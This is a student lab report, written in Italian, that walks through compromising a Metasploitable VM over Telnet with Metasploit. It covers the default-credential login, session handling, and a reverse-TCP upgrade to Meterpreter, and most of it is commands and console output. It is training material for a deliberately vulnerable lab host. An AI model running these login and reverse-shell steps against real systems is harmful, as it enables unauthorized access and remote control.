

REPORT S7/L2

Obiettivo

L'obiettivo dell'esercizio odierno è quello di utilizzare **Metasploit** per analizzare il servizio **Telnet** sulla macchina **Metasploitable**.

1. Creazione della Sessione

Per prima cosa, ho utilizzato lo scanner per identificare la versione del servizio sulla porta 23:

- Modulo: **auxiliary/scanner/telnet/telnet_version**

Una volta individuato il servizio, ho caricato il modulo di attacco per effettuare l'accesso:

```
msf > search auxiliary/scanner/telnet/telnet_login
Matching Modules
=====
#  Name
-  --
0  auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass 2021-09-06    normal Yes   Netgear PNPX_GetShareFol
derList Authentication Bypass
1  auxiliary/scanner/telnet/telnet_login                         .          normal No    Telnet Login Check Scann
er

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/telnet/telnet_login
msf > use 1
msf auxiliary(scanner/telnet/telnet_login) >
```

Successivamente ho settato i parametri:

- **RHOSTS:** 192.168.50.101
- **USERNAME:** msfadmin
- **PASSWORD:** msfadmin
- **STOP_ON_SUCCESS:** true

```
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf auxiliary(scanner/telnet/telnet_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
```

Poi ho eseguito il comando **options** per visualizzare il modulo completo con le modifiche aggiunte:

```
msf auxiliary(scanner/telnet/telnet_login) > options
Module options (auxiliary/scanner/telnet/telnet_login):
Name      Current Setting  Required  Description
----      --------------  -----  -----
ANONYMOUS_LOGIN  false        yes      Attempt to login with a blank username and password
BLANK_PASSWORDS  false        no       Try blank passwords for all users
BRUTEFORCE_SPEED 5          yes      How fast to bruteforce, from 0 to 5
CreateSession  true        no       Create a new session for every successful login
DB_ALL_CREDS  false        no       Try each user/password couple stored in the current database
DB_ALL_PASS  false        no       Add all passwords in the current database to the list
DB_ALL_USERS  false        no       Add all users in the current database to the list
DB_SKIP_EXISTING  none       no      Skip existing credentials stored in the current database (Accepted: none, user , user@realm)
PASSWORD      msfadmin    no       A specific password to authenticate with
PASS_FILE     -           no       File containing passwords, one per line
RHOSTS        192.168.50.101  yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic-using-metasploit.html
RPORT         23          yes      The target port (TCP)
STOP_ON_SUCCESS  true       yes      Stop guessing when a credential works for a host
THREADS       1           yes      The number of concurrent threads (max one per host)
USERNAME      msfadmin    no       A specific username to authenticate as
USERPASS_FILE -           no       File containing users and passwords separated by space, one pair per line
USER_AS_PASS  false       no       Try the username as the password for all users
USER_FILE     -           no       File containing usernames, one per line
VERBOSE       true        yes      Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

2. Gestione delle Sessioni

Una volta creata la sessione, ho:

- lanciato lo scanner con **run**
- verificato la sessione con il comando **sessions -l**
- interagito con la shell con il comando **sessions -i 1**
- messa in background con **ctrl z**.

```
msf auxiliary(scanner/telnet/telnet_login) > run
[*] 192.168.50.101:23  - No active DB -- Credential data will not be saved!
[+] 192.168.50.101:23  - 192.168.50.101:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.50.101:23  - Attempting to start session 192.168.50.101:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.100:35331 → 192.168.50.101:23) at 2026-01-20 15:49:08 +0100
[*] 192.168.50.101:23  - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) > sessions -l

Active sessions
-----
Id  Name   Type   Information                                     Connection
--  --    --    --                                           --
1   shell  TELNET msfadmin:msfadmin (192.168.50.101:23)  192.168.50.100:35331 → 192.168.50.101:23 (192.168.50.101)

msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...

msfadmin@metasploitable:~$
```

```
msfadmin@metasploitable:~$ ^Z
Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > 
```

3. Upgrade a Meterpreter

Poiché una semplice shell di comando è limitata, ho proceduto all'upgrade verso **Meterpreter**, che offre funzionalità avanzate.

3.1 Configurazione modulo di upgrade

- **Modulo:** *post/multi/manage/shell_to_meterpreter*

```
msf auxiliary(scanner/telnet/telnet_login) > search type:post multi shell
Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  --
0  post/multi/gather/multi_command          .              normal  No     Multi Gather Run Shell Command Resource File
1  post/multi/gather/ubiquiti_unifi_backup   .              normal  No     Multi Gather Ubiquiti Unifi Controller Backup
2  post/multi/manage/system_session         .              normal  No     Multi Manage System Remote TCP Shell Session
3  post/multi/manage/screensaver           .              excellent  No     Multi Manage the screensaver of the target computer
4    \_ action: LOCK                      .              .          .      Lock the current session
5    \_ action: START                     .              .          .      Start the screensaver, may lock the current session
6    \_ action: STOP                      .              .          .      Stop the screensaver, user may be prompted for its password
7    \_ action: UNLOCK                   .              .          .      Unlock the current session
8  post/multi/recon/local_exploit_suggester .              normal  No     Multi Recon Local Exploit Suggester
9  post/multi/manage/sudo                 .              normal  No     Multi Multiple Linux / Unix Post Sudo Upgrade Shell
10 post/multi/recon/persistence_suggester .              normal  No     Persistence Exploit Suggester
11 post/multi/manage/shell_to_meterpreter  .              normal  No     Shell to Meterpreter Upgrade
12 post/linux/gather/vcenter_secrets_dump  2022-04-15  normal  No     VMware vCenter Secrets Dump

Interact with a module by name or index. For example info 12, use 12 or use post/linux/gather/vcenter_secrets_dump
msf auxiliary(scanner/telnet/telnet_login) > use 11
```

- **Comandi:**

- *set SESSION 1*
- *run*

```

msf post(multi/manage/shell_to_meterpreter) > show options
Module options (post/multi/manage/shell_to_meterpreter):
  Name      Current Setting  Required  Description
  HIGHLIGHT{HANDLER}  true        yes       Start an exploit/multi/handler to receive the connection
  LHOST          no           no        IP of host that will receive the connection from the payload (Will try to auto detect).
  LPORT          4433       yes       Port for payload to connect to.
  SESSION         yes        yes       The session to run this module on

View the full module info with the info, or info -d command.

msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[!] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.50.100:4433
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 2 opened (192.168.50.100:4433 → 192.168.50.101:60981) at 2026-01-20 15:55:50 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

```

- *sessions*
- *sessions 3*
- *sysinfo*

```

msf post(multi/manage/shell_to_meterpreter) > sessions
Active sessions
=====

```

Id	Name	Type	Information	Connection
1		shell	TELNET msfadmin:msfadmin (192.168.50.101:23)	192.168.50.100:35331 → 192.168.50.101:23 (192.168.50.101)
3		meterpreter x86/linux	msfadmin @ metasploitable.localdomain	192.168.50.100:4433 → 192.168.50.101:55058 (192.168.50.101)

```

msf post(multi/manage/shell_to_meterpreter) > sessions 3
[*] Starting interaction with 3 ...

meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS          : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

```

4. Conclusione

L'esercizio ha **evidenziato la facilità** con cui servizi non criptati e configurati con credenziali di default (come Telnet su Metasploitable) possano essere **compromessi**. Inoltre, ho appreso come trasformare un accesso rudimentale (shell) in un controllo avanzato del sistema tramite il modulo di post-exploitation **shell_to_meterpreter**.